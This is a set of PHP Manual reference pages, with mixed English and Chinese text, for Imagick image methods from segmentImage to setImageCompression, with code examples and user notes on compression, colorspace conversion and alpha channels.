  • ? Imagick::scaleImage
  • Imagick::selectiveBlurImage ?
  • PHP Manual
  • Imagick
  • Segments an image

Imagick::segmentImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::segmentImage — Segments an image

说明

public Imagick::segmentImage(
int $COLORSPACE,
float $cluster_threshold,
float $smooth_threshold,
bool $verbose = false
): bool

Analyses the image and identifies units that are similar. 此方法在Imagick基于ImageMagick 6.4.5以上版本编译时可用。

参数

COLORSPACE

One of the COLORSPACE constants.

cluster_threshold

A percentage describing minimum number of pixels contained in hexedra before it is considered valid.

smooth_threshold

Eliminates noise from the histogram.

verbose

Whether to output detailed information about recognised classes.

返回值

示例

Example #1 Imagick::segmentImage()

<?php
function segmentImage($imagePath, $colorSpace, $clusterThreshold, $smoothThreshold) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->segmentImage($colorSpace, $clusterThreshold, $smoothThreshold);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

segmentImage($imagePath, \Imagick::COLORSPACE_RGB, 5, 5);

?>

User Contributed Notes

There are no user contributed notes for this page.


Selectively blur an image within a contrast threshold

  • ? Imagick::segmentImage
  • Imagick::separateImageChannel ?
  • PHP Manual
  • Imagick
  • Selectively blur an image within a contrast threshold

Imagick::selectiveBlurImage

(PECL imagick 3 >= 3.3.0)

Imagick::selectiveBlurImage — Selectively blur an image within a contrast threshold

说明

public Imagick::selectiveBlurImage(
float $radius,
float $sigma,
float $threshold,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Selectively blur an image within a contrast threshold. It is similar to the unsharpen mask that sharpens everything with contrast above a certain threshold.

参数

radius

sigma

threshold

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

成功时返回 true。

示例

Example #1 Imagick::selectiveBlurImage()

<?php
function selectiveBlurImage($imagePath, $radius, $sigma, $threshold, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->selectiveBlurImage($radius, $sigma, $threshold, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Separates a channel from the image

  • ? Imagick::selectiveBlurImage
  • Imagick::sepiaToneImage ?
  • PHP Manual
  • Imagick
  • Separates a channel from the image

Imagick::separateImageChannel

(PECL imagick 2, PECL imagick 3)

Imagick::separateImageChannel — Separates a channel from the image

说明

public Imagick::separateImageChannel(int $channel): bool

Separates a channel from the image and returns a grayscale image. A channel is a particular color component of each pixel in the image.

参数

channel

Which 'channel' to return. For colorspaces other than RGB, you can still use the CHANNEL_RED, CHANNEL_GREEN, CHANNEL_BLUE constants to indicate the 1st, 2nd and 3rd channels.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::separateImageChannel()

<?php
function separateImageChannel($imagePath, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->separateimagechannel($channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

separateImageChannel($imagePath, \Imagick::CHANNEL_GREEN);

?>

User Contributed Notes

There are no user contributed notes for this page.


Sepia tones an image

  • ? Imagick::separateImageChannel
  • Imagick::setBackgroundColor ?
  • PHP Manual
  • Imagick
  • Sepia tones an image

Imagick::sepiaToneImage

(PECL imagick 2, PECL imagick 3)

Imagick::sepiaToneImage — Sepia tones an image

说明

public Imagick::sepiaToneImage(float $threshold): bool

Applies a special effect to the image, similar to the effect achieved in a photo darkroom by sepia toning. Threshold ranges from 0 to QuantumRange and is a measure of the extent of the sepia toning. A threshold of 80 is a good starting point for a reasonable tone.

参数

threshold

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::sepiaToneImage()

<?php
function sepiaToneImage($imagePath, $sepia) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->sepiaToneImage($sepia);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the object's default background color

  • ? Imagick::sepiaToneImage
  • Imagick::setColorspace ?
  • PHP Manual
  • Imagick
  • Sets the object's default background color

Imagick::setBackgroundColor

(PECL imagick 2, PECL imagick 3)

Imagick::setBackgroundColor — Sets the object's default background color

说明

public Imagick::setBackgroundColor(mixed $background): bool

Sets the object's default background color.

参数

background

返回值

成功时返回 true。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as a parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

eleg 28-Feb-2012 02:59
Be cautious and set bgcolor BEFORE importing a SVG with transparency!  :-/

<?php

$im = new Imagick();
$im->setBackgroundColor(new ImagickPixel('transparent'));

$im->readImage('carte_Alain2.svg');

$im->setImageFormat("png32");

header('Content-type: image/png');
echo $im;
?>


Set colorspace

  • ? Imagick::setBackgroundColor
  • Imagick::setCompression ?
  • PHP Manual
  • Imagick
  • Set colorspace

Imagick::setColorspace

(PECL imagick 3)

Imagick::setColorspace — Set colorspace

说明

public Imagick::setColorspace(int $COLORSPACE): bool

Sets the global colorspace value for the object. 此方法在Imagick基于ImageMagick 6.5.7以上版本编译时可用。

参数

COLORSPACE

One of the COLORSPACE constants

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

simonjjarrett at gmail dot com 26-Mar-2020 05:29
This method has to be called BEFORE any files are loaded into the Imagick object.

By default, Imagick will incorrectly read CMYK PDFs - it will read each channel as a greyscale page resulting in 4 times the number of pages. By specifying the desired colorspace (usually SRGB) before reading the file, GhostScript will automatically convert it.

<?php
$im = new Imagick();

// set the sampling resolution
$im->setResolution(200,200);

// set the desired format
$im->SetColorspace(Imagick::COLORSPACE_SRGB);

$im->readimage($file['tmp_name']);
?>
T 28-Dec-2014 09:20
Right now this function doesn't appear to do anything, ref: http://stackoverflow.com/q/10739822/2685496

As mentioned in the answer, modulateImage works fine as a replacement for converting to gray scale.

<?php

$image = new Imagick("input.jpg");

$image->modulateImage(100, 0, 100);

$image->writeImage("output.jpg");

$image->clear();

?>


Sets the object's default compression type

  • ? Imagick::setColorspace
  • Imagick::setCompressionQuality ?
  • PHP Manual
  • Imagick
  • Sets the object's default compression type

Imagick::setCompression

(PECL imagick 2, PECL imagick 3)

Imagick::setCompression — Sets the object's default compression type

说明

public Imagick::setCompression(int $compression): bool

Sets the object's default compression type

参数

compression

The compression type. See the Imagick::COMPRESSION_* constants.

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Sets the object's default compression quality

  • ? Imagick::setCompression
  • Imagick::setFilename ?
  • PHP Manual
  • Imagick
  • Sets the object's default compression quality

Imagick::setCompressionQuality

(PECL imagick 2, PECL imagick 3)

Imagick::setCompressionQuality — Sets the object's default compression quality

说明

public Imagick::setCompressionQuality(int $quality): bool

Sets the object's default compression quality.

Caution

This method only works for new images e.g. those created through Imagick::newPseudoImage. For existing images you should use Imagick::setImageCompressionQuality().

参数

quality

An int between 1 and 100, 1 = high compression, 100 low compression.

返回值

成功时返回 true。

示例

Example #1 Imagick::setCompressionQuality()

<?php
function setCompressionQuality($imagePath, $quality) {

$backgroundImagick = new \Imagick(realpath($imagePath));
$imagick = new \Imagick();
$imagick->setCompressionQuality($quality);
$imagick->newPseudoImage(
$backgroundImagick->getImageWidth(),
$backgroundImagick->getImageHeight(),
'canvas:white'
);

$imagick->compositeImage(
$backgroundImagick,
\Imagick::COMPOSITE_ATOP,
0,
0
);

$imagick->setFormat("jpg");
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

charles dot hall at sas dot com 03-Aug-2010 11:31
I had to insert a call to "stripImage()" in order to actually see the filesize shrink.

<?php
   $img = new Imagick();
   $img->readImage($src);
   $img->setImageCompression(imagick::COMPRESSION_JPEG);
   $img->setImageCompressionQuality(90);
   $img->stripImage();
   $img->writeImage($dest);
?>
deeps chennai 18-Mar-2010 02:59
A note for people who just couldn't get this working..

With PHP 5.1.6, the below works:

<?php
$img->setCompression(Imagick::COMPRESSION_JPEG);
$img->setCompressionQuality(80);
?>

However, with higher versions of PHP (I tried on PHP 5.2.10), the code has no effect (and there are no exceptions or warnings thrown by Imagick as well).

The code that works instead is:

<?php
$img->setImageCompression(Imagick::COMPRESSION_JPEG);
$img->setImageCompressionQuality(80);
?>

and this is backwards compatible (Works on PHP 5.1.6 as well as 5.2.10)
nVaux.com 26-Mar-2008 08:24
Sebastian's example works excellent, just one minor spelling mistake, it will give you an error otherwise.

<?php
$img->setCompression(Imagick::COMPRESSION_JPEG);
$img->setCompressionQuality(80);
?>

I used Sebastians example, and made one that compresses all the images within a directory:

<?php
$images = new Imagick(glob('images/*.jpg'));

foreach($images as $image)
{
    // compression methods, see "Contants"-page for Imagick
    $image->setCompression(imagick::COMPRESSION_JPEG);
    // a value between 1 and 100, 1 = high compression, 100 low compression
    $image->setCompressionQuality(80);
    $image->writeImage();
}

?>
sebastian dot moser at gmail dot com 17-Nov-2007 02:46
Use this example to see how image compression works:

<?php
// load an image
$img = new Imagick("test.jpg");

// compression methods, see "Contants"-page for Imagick
$img->setComression(Imagick::COMPRESSION_JPEG);
// a value between 1 and 100, 1 = high compression, 100 low compression
$img->setComressionQuality(80);

// set content type
header("Content-type: image/jpeg");
// write image
echo $img->getImageBlob();
?>


Sets the filename before you read or write the image

  • ? Imagick::setCompressionQuality
  • Imagick::setFirstIterator ?
  • PHP Manual
  • Imagick
  • Sets the filename before you read or write the image

Imagick::setFilename

(PECL imagick 2, PECL imagick 3)

Imagick::setFilename — Sets the filename before you read or write the image

说明

public Imagick::setFilename(string $filename): bool

Sets the filename before you read or write an image file.

参数

filename

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Sets the Imagick iterator to the first image

  • ? Imagick::setFilename
  • Imagick::setFont ?
  • PHP Manual
  • Imagick
  • Sets the Imagick iterator to the first image

Imagick::setFirstIterator

(PECL imagick 2, PECL imagick 3)

Imagick::setFirstIterator — Sets the Imagick iterator to the first image

说明

public Imagick::setFirstIterator(): bool

Sets the Imagick iterator to the first image.

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

simonjjarrett at gmail dot com 24-Mar-2020 01:03
The following function applies a callback to each image in an Imagick object.

<?php
function imagickMap($callback, $im)
{
    $im->setFirstIterator();

    do
    {
        $callback($im);
    }
    while ( $im->nextImage() );
}
?>

E.g. to convert a series of images to grayscale:

<?php
imagickMap(
    function($im)
    {
        $im->setImageType(Imagick::IMGTYPE_GRAYSCALEMATTE);
    },
    $im
);
?>


Sets font

  • ? Imagick::setFirstIterator
  • Imagick::setFormat ?
  • PHP Manual
  • Imagick
  • Sets font

Imagick::setFont

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::setFont — Sets font

说明

public Imagick::setFont(string $font): bool

Sets object's font property. This method can be used for example to set font for caption: pseudo-format. The font needs to be configured in ImageMagick configuration or a file by the name of font must exist. This method should not be confused with ImagickDraw::setFont() which sets the font for a specific ImagickDraw object. 此方法在Imagick基于ImageMagick 6.3.7以上版本编译时可用。

参数

font

Font name or a filename

返回值

成功时返回 true。

示例

Example #1 A Imagick::setFont() example

Example of using Imagick::setFont

<?php
/* Create new imagick object */
$im = new Imagick();

/* Set the font for the object */
$im->setFont("example.ttf");

/* Create new caption */
$im->newPseudoImage(100, 100, "caption:Hello");

/* Do something with the image */
?>

参见

  • Imagick::getFont() - Gets font
  • ImagickDraw::setFont() - Sets the fully-specified font to use when annotating with text
  • ImagickDraw::getFont() - Returns the font

User Contributed Notes

There are no user contributed notes for this page.


Sets the format of the Imagick object

  • ? Imagick::setFont
  • Imagick::setGravity ?
  • PHP Manual
  • Imagick
  • Sets the format of the Imagick object

Imagick::setFormat

(PECL imagick 2, PECL imagick 3)

Imagick::setFormat — Sets the format of the Imagick object

说明

public Imagick::setFormat(string $format): bool

Sets the format of the Imagick object.

参数

format

返回值

成功时返回 true。

User Contributed Notes

winmonaye at gmail dot com 21-Sep-2015 06:15
You can only set format listed in $imgic->queryFormats() .
It can be different from http://www.imagemagick.org/script/formats.php .
Meinaart 28-Nov-2012 12:56
For format see:
http://www.imagemagick.org/script/formats.php
scott at thebrain dot ca 14-Oct-2008 08:18
don't confuse this function with setImageFormat()


Sets the gravity

  • ? Imagick::setFormat
  • Imagick::setImage ?
  • PHP Manual
  • Imagick
  • Sets the gravity

Imagick::setGravity

(PECL imagick 2 >= 2.2.0, PECL imagick 3)

Imagick::setGravity — Sets the gravity

说明

public Imagick::setGravity(int $gravity): bool

Sets the global gravity property for the Imagick object. 此方法在Imagick基于ImageMagick 6.4.0以上版本编译时可用。

参数

gravity

The gravity property. Refer to the list of gravity constants.

返回值

没有返回值。

User Contributed Notes

Ahmad 10-May-2023 10:51
GRAVITY_NORTHWEST: 1
GRAVITY_NORTH: 2
GRAVITY_NORTHEAST: 3
GRAVITY_WEST: 4
GRAVITY_CENTER: 5
GRAVITY_EAST: 6
GRAVITY_SOUTHWEST: 7
GRAVITY_SOUTH: 8
GRAVITY_SOUTHEAST: 9

Default is: 0


Replaces image in the object

  • ? Imagick::setGravity
  • Imagick::setImageAlphaChannel ?
  • PHP Manual
  • Imagick
  • Replaces image in the object

Imagick::setImage

(PECL imagick 2, PECL imagick 3)

Imagick::setImage — Replaces image in the object

说明

public Imagick::setImage(Imagick $replace): bool

Replaces the current image sequence with the image from replace object.

参数

replace

The replace Imagick object

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 A Imagick::setImage() example

An example of using Imagick::setImage()

<?php
/* Create the objects */
$image = new Imagick('source.jpg');
$replace = new Imagick('replace.jpg');

/* source.jpg is replaced with replace.jpg */
$image->setImage($replace);

/* output the image */
header('Content-type: image/jpeg');
echo $image;

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets image alpha channel

  • ? Imagick::setImage
  • Imagick::setImageArtifact ?
  • PHP Manual
  • Imagick
  • Sets image alpha channel

Imagick::setImageAlphaChannel

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::setImageAlphaChannel — Sets image alpha channel

说明

public Imagick::setImageAlphaChannel(int $mode): bool

Activate or deactivate image alpha channel. The mode is one of the Imagick::ALPHACHANNEL_* constants. 此方法在Imagick基于ImageMagick 6.3.8以上版本编译时可用。

参数

mode

One of the Imagick::ALPHACHANNEL_* constants

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

参见

  • Imagick::setImageMatte() - Sets the image matte channel
  • Imagick Alpha Channel Constants

User Contributed Notes

simonjjarrett at gmail dot com 25-Mar-2020 03:09
If you're having trouble with white backgrounds turning black when converting PDFs to other formats, you need to use this function with Imagick::ALPHACHANNEL_REMOVE as the parameter (this is not currently on the constants page, but it exists in PHP 7.2) to remove the alpha channel.

<?php
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_REMOVE );
?>


Set image artifact

  • ? Imagick::setImageAlphaChannel
  • Imagick::setImageAttribute ?
  • PHP Manual
  • Imagick
  • Set image artifact

Imagick::setImageArtifact

(PECL imagick 3)

Imagick::setImageArtifact — Set image artifact

说明

public Imagick::setImageArtifact(string $artifact, string $value): bool

Associates an artifact with the image. The difference between image properties and image artifacts is that properties are public and artifacts are private. 此方法在Imagick基于ImageMagick 6.5.7以上版本编译时可用。

参数

artifact

The name of the artifact

value

The value of the artifact

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::setImageArtifact()

<?php
function setImageArtifact() {

$src1 = new \Imagick(realpath("./images/artifact/source1.png"));
$src2 = new \Imagick(realpath("./images/artifact/source2.png"));

$src2->setImageVirtualPixelMethod(\Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);
$src2->setImageArtifact('compose:args', "1,0,-0.5,0.5");
$src1->compositeImage($src2, Imagick::COMPOSITE_MATHEMATICS, 0, 0);

$src1->setImageFormat('png');
header("Content-Type: image/png");
echo $src1->getImagesBlob();
}

?>

参见

  • Imagick::getImageArtifact() - Get image artifact
  • Imagick::deleteImageArtifact() - Delete image artifact

User Contributed Notes

There are no user contributed notes for this page.


Sets an image attribute

  • ? Imagick::setImageArtifact
  • Imagick::setImageBackgroundColor ?
  • PHP Manual
  • Imagick
  • Sets an image attribute

Imagick::setImageAttribute

(PECL imagick 2, PECL imagick 3)

Imagick::setImageAttribute — Sets an image attribute

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::setImageAttribute(string $key, string $value): bool

Sets an image attribute.

参数

key

value

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image background color

  • ? Imagick::setImageAttribute
  • Imagick::setImageBias ?
  • PHP Manual
  • Imagick
  • Sets the image background color

Imagick::setImageBackgroundColor

(PECL imagick 2, PECL imagick 3)

Imagick::setImageBackgroundColor — Sets the image background color

说明

public Imagick::setImageBackgroundColor(mixed $background): bool

Sets the image background color.

参数

background

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as the parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

mjunaidahmad at outlook dot com 28-Jul-2017 06:02
<?php

  $im = new \Imagick();

        /* read image (914x784) */

     $im->readImage($_SERVER['DOCUMENT_ROOT']."/path/toimage/".$inputfront);

        $im->setImageBackgroundColor(new \ImagickPixel('transparent')); /* this is equal to -background none (in imagemagick command options ) */

        /*Control points for the distortion in order to check weather setImageBackgound is working properly*/

        $controlPoints = array( 0,0,
            280,0,

            994,0,
            914,50,

            994,862,
            784,842,

            0,862,
            110,762);

        /* Perform the distortion */
        $im->distortImage(\Imagick::DISTORTION_PERSPECTIVE, $controlPoints, true);

        /* Ouput the image */
        $output_front_distort="Projects/path/where you want to store image/distorted_book.png";

       header("Content-Type: image/png");
        $im->writeImage($_SERVER['DOCUMENT_ROOT']."/designerr/public/".$output_front_distort);

?>
Matthias Zartmann 17-Jun-2014 08:33
Small example to optimize a gray scanned image:
<?php
   $im = new Imagick();
   $im->readImage("~/scaninput_300DPI.tiff");
  //deskew the image
   $im->deskewImage(40);
  //Crop to A4 and scanner pageoffset 50
   $im->cropImage(2480, 3416, 50, 0);
  //Need a Monochrome Image
   $im->setImageColorspace(2);
   $im->thresholdImage(11000);
  //Compressen tiff CCITT Group 4
   $im->setImageCompression(Imagick::COMPRESSION_GROUP4);
   $im->writeimage("~/monochrome_300DPI.tiff");
  //Cleanup
   $im->clear();
   $im->destroy();
?>


Sets the image bias for any method that convolves an image

  • ? Imagick::setImageBackgroundColor
  • Imagick::setImageBiasQuantum ?
  • PHP Manual
  • Imagick
  • Sets the image bias for any method that convolves an image

Imagick::setImageBias

(PECL imagick 2, PECL imagick 3)

Imagick::setImageBias — Sets the image bias for any method that convolves an image

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::setImageBias(float $bias): bool

Sets the image bias for any method that convolves an image (e.g. Imagick::ConvolveImage()).

参数

bias

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::setImageBias()

<?php
//requires ImageMagick version 6.9.0-1 to have an effect on convolveImage
function setImageBias($bias) {
$imagick = new \Imagick(realpath("images/stack.jpg"));

$xKernel = array(
-0.70, 0, 0.70,
-0.70, 0, 0.70,
-0.70, 0, 0.70
);

$imagick->setImageBias($bias * \Imagick::getQuantum());
$imagick->convolveImage($xKernel, \Imagick::CHANNEL_ALL);

$imagick->setImageFormat('png');

header('Content-type: image/png');
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the image bias

  • ? Imagick::setImageBias
  • Imagick::setImageBluePrimary ?
  • PHP Manual
  • Imagick
  • Sets the image bias

Imagick::setImageBiasQuantum

(PECL imagick 3 >= 3.3.0)

Imagick::setImageBiasQuantum — Sets the image bias

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::setImageBiasQuantum(float $bias): void

Sets the image bias. Bias should be scaled with 0 (no adjustment) to 1 (quantum value).

参数

bias

返回值

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity blue primary point

  • ? Imagick::setImageBiasQuantum
  • Imagick::setImageBorderColor ?
  • PHP Manual
  • Imagick
  • Sets the image chromaticity blue primary point

Imagick::setImageBluePrimary

(PECL imagick 2, PECL imagick 3)

Imagick::setImageBluePrimary — Sets the image chromaticity blue primary point

说明

public Imagick::setImageBluePrimary(float $x, float $y): bool

Sets the image chromaticity blue primary point.

参数

x

y

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image border color

  • ? Imagick::setImageBluePrimary
  • Imagick::setImageChannelDepth ?
  • PHP Manual
  • Imagick
  • Sets the image border color

Imagick::setImageBorderColor

(PECL imagick 2, PECL imagick 3)

Imagick::setImageBorderColor — Sets the image border color

说明

public Imagick::setImageBorderColor(mixed $border): bool

Sets the image border color.

参数

border

The border color

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as a parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the depth of a particular image channel

  • ? Imagick::setImageBorderColor
  • Imagick::setImageClipMask ?
  • PHP Manual
  • Imagick
  • Sets the depth of a particular image channel

Imagick::setImageChannelDepth

(PECL imagick 2, PECL imagick 3)

Imagick::setImageChannelDepth — Sets the depth of a particular image channel

说明

public Imagick::setImageChannelDepth(int $channel, int $depth): bool

Sets the depth of a particular image channel.

参数

channel

depth

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets image clip mask

  • ? Imagick::setImageChannelDepth
  • Imagick::setImageColormapColor ?
  • PHP Manual
  • Imagick
  • Sets image clip mask

Imagick::setImageClipMask

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::setImageClipMask — Sets image clip mask

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::setImageClipMask(Imagick $clip_mask): bool

Sets image clip mask from another Imagick object. 此方法在Imagick基于ImageMagick 6.3.6以上版本编译时可用。

参数

clip_mask

The Imagick object containing the clip mask

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::setImageClipMask()

<?php
function setImageClipMask($imagePath) {
$imagick = new \Imagick();
$imagick->readImage(realpath($imagePath));

$width = $imagick->getImageWidth();
$height = $imagick->getImageHeight();

$clipMask = new \Imagick();
$clipMask->newPseudoImage(
$width,
$height,
"canvas:transparent"
);

$draw = new \ImagickDraw();
$draw->setFillColor('white');
$draw->circle(
$width / 2,
$height / 2,
($width / 2) + ($width / 4),
$height / 2
);
$clipMask->drawImage($draw);
$imagick->setImageClipMask($clipMask);

$imagick->negateImage(false);
$imagick->setFormat("png");

header("Content-Type: image/png");
echo $imagick->getImagesBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the color of the specified colormap index

  • ? Imagick::setImageClipMask
  • Imagick::setImageColorspace ?
  • PHP Manual
  • Imagick
  • Sets the color of the specified colormap index

Imagick::setImageColormapColor

(PECL imagick 2, PECL imagick 3)

Imagick::setImageColormapColor — Sets the color of the specified colormap index

说明

public Imagick::setImageColormapColor(int $index, ImagickPixel $color): bool

Sets the color of the specified colormap index.

参数

index

color

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image colorspace

  • ? Imagick::setImageColormapColor
  • Imagick::setImageCompose ?
  • PHP Manual
  • Imagick
  • Sets the image colorspace

Imagick::setImageColorspace

(PECL imagick 2, PECL imagick 3)

Imagick::setImageColorspace — Sets the image colorspace

说明

public Imagick::setImageColorspace(int $colorspace): bool

Sets the image colorspace. This method should be used when creating new images. To change the colorspace of an existing image, you should use Imagick::transformImageColorspace().

参数

colorspace

One of the COLORSPACE constants

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

Cesare Bordi 05-Dec-2017 08:27
These are the basic steps to convert an image from RGB to CMYK:

$image = new Imagick();
$image->readImage(rgb.jpg);
$image->setImageColorSpace(Imagick::COLORSPACE_CMYK);
$image->profileImage('icc', file_get_contents(/path/CoatedFOGRA27.icc'));
$image->negateImage(FALSE, imagick::COLOR_CYAN);
$image->negateImage(FALSE, imagick::COLOR_MAGENTA);
$image->negateImage(FALSE, imagick::COLOR_YELLOW);
$image->negateImage(FALSE, imagick::COLOR_BLACK);
$image->writeImage(cmyk.rgb);
cesarebordi 05-Dec-2017 08:26
These are the basic steps to convert an image from RGB to CMYK:

$image = new Imagick();
$image->readImage(rgb.jpg);
$image->setImageColorSpace(Imagick::COLORSPACE_CMYK);
$image->profileImage('icc', file_get_contents(/path/CoatedFOGRA27.icc'));
$image->negateImage(FALSE, imagick::COLOR_CYAN);
$image->negateImage(FALSE, imagick::COLOR_MAGENTA);
$image->negateImage(FALSE, imagick::COLOR_YELLOW);
$image->negateImage(FALSE, imagick::COLOR_BLACK);
$image->writeImage(cmyk.rgb);

For more information:
http://www.cesarebordi.it/imagemagick-php-convertire-rgb-to-cmyk-web-developer/
pilot114 at bk dot ru 22-Jan-2015 01:58
Simlest way converting from CMYK to RGB:

<?php
if ($jpeg->getImageColorspace() == \Imagick::COLORSPACE_CMYK) {
    $jpeg->transformimagecolorspace(\Imagick::COLORSPACE_SRGB);
}
?>

It is pretty work in current stable Image Magick (6.9.0-4).
kevin.a.florida 15-Jun-2013 03:53
I have a better solution for solving inverted colors on php 5.3.x than posted.  All the other solutions I found darkens the image or messes with the colors.

See below (note: my imagick object is $jpeg)

$range = $jpeg->getQuantumRange();
            $php_vs_arr = preg_split("/\./", phpversion());
            $php_vs = $php_vs_arr[0] . '.' . $php_vs_arr[1];
            if ($jpeg->getImageColorspace() == Imagick::COLORSPACE_CMYK) {

                //make sure cmyk color-space is set correctly
                $jpeg->setImageColorspace(12);

                // then we add an RGB profile
                $icc_rgb = file_get_contents(FRAMEWORK_PATH . DS . 'color' . DS . 'AdobeRGB1998.icc');
                $jpeg->profileImage('icc', $icc_rgb);
                unset($icc_rgb);

                //set color space to rgb
                $jpeg->setImageColorspace(13);

                //fix gamma, hue, saturation, brightness
                if($php_vs < 5.3) {
                    //ADJUST GAMMA BY 20% for 5.2.x
                    $jpeg->levelImage(0, 2.0, $range['quantumRangeString']);
                } else {
                    //php 5.3 hack FOR INVERTED COLORS
                    $jpeg->negateImage(false, Imagick::CHANNEL_ALL);
                }

            }
            $jpeg->stripImage();
            //end convert to RGB=========================|
eth at ethaniel dot com 28-Feb-2012 06:15
When converting from CMYK to RGB using this function, the image can become inverted. To fix this, use a workaround (don't forget to download the .icc files online):

<?php
// don't use this (it inverts the image)
//    $img->setImageColorspace (imagick::COLORSPACE_RGB);

if ($img->getImageColorspace() == Imagick::COLORSPACE_CMYK) {
   $profiles = $img->getImageProfiles('*', false);
   // we're only interested if ICC profile(s) exist
   $has_icc_profile = (array_search('icc', $profiles) !== false);
   // if it doesnt have a CMYK ICC profile, we add one
   if ($has_icc_profile === false) {
       $icc_cmyk = file_get_contents(dirname(__FILE__).'/USWebUncoated.icc');
       $img->profileImage('icc', $icc_cmyk);
       unset($icc_cmyk);
   }
   // then we add an RGB profile
   $icc_rgb = file_get_contents(dirname(__FILE__).'/sRGB_v4_ICC_preference.icc');
   $img->profileImage('icc', $icc_rgb);
   unset($icc_rgb);
}

$img->stripImage (); // this will drop down the size of the image dramatically (removes all profiles)
?>
mettedraq at gmail dot com 01-Jul-2010 12:21
This is how to Monochrome a jpg [on Windows].. since I couldn't find it anywhere else.

<?php
header("Content-type: image/jpeg");

$IMagick = new IMagick('c:\\testing\\fruit.jpg');
$IMagick->setImageColorSpace(Imagick::COLORSPACE_GRAY);

echo $IMagick;
?>
charlie at midsouthhost dot com 06-May-2010 09:45
If your getting strange/bad color rendering from a PDF, after trying the colorspace constants noted by jdstraughan, try other values outside that range.

In one case for me only $image->setImageColorSpace(22) provided useful color. I have found posts elsewhere using values up to 255.
jdstraughan dot com at gmail dot com 26-Sep-2008 12:16
FYI, here is the breakdown for (int $colorspace):

Constants:
0 - UndefinedColorspace
1 - RGBColorspace
2 - GRAYColorspace
3 - TransparentColorspace
4 - OHTAColorspace
5 - LABColorspace
6 - XYZColorspace
7 - YCbCrColorspace
8 - YCCColorspace
9 - YIQColorspace
10 - YPbPrColorspace
11 - YUVColorspace
12 - CMYKColorspace
13 - sRGBColorspace
14 - HSBColorspace
15 - HSLColorspace
16 - HWBColorspace


Sets the image composite operator

  • ? Imagick::setImageColorspace
  • Imagick::setImageCompression ?
  • PHP Manual
  • Imagick
  • Sets the image composite operator

Imagick::setImageCompose

(PECL imagick 2, PECL imagick 3)

Imagick::setImageCompose — Sets the image composite operator

说明

public Imagick::setImageCompose(int $compose): bool

Sets the image composite operator, useful for specifying how to composite the image thumbnail when using the Imagick::montageImage() method.

参数

compose

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


设置图片压缩的类型

  • ? Imagick::setImageCompose
  • Imagick::setImageCompressionQuality ?
  • PHP Manual
  • Imagick
  • 设置图片压缩的类型

Imagick::setImageCompression

(PECL imagick 2, PECL imagick 3)

Imagick::setImageCompression — 设置图片压缩的类型

说明

public Imagick::setImageCompression(int $compression): bool

参数

compression

COMPRESSION 常量里的一种

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

xudongding 09-Aug-2019 09:14
const COMPRESSION_UNDEFINED = 0;
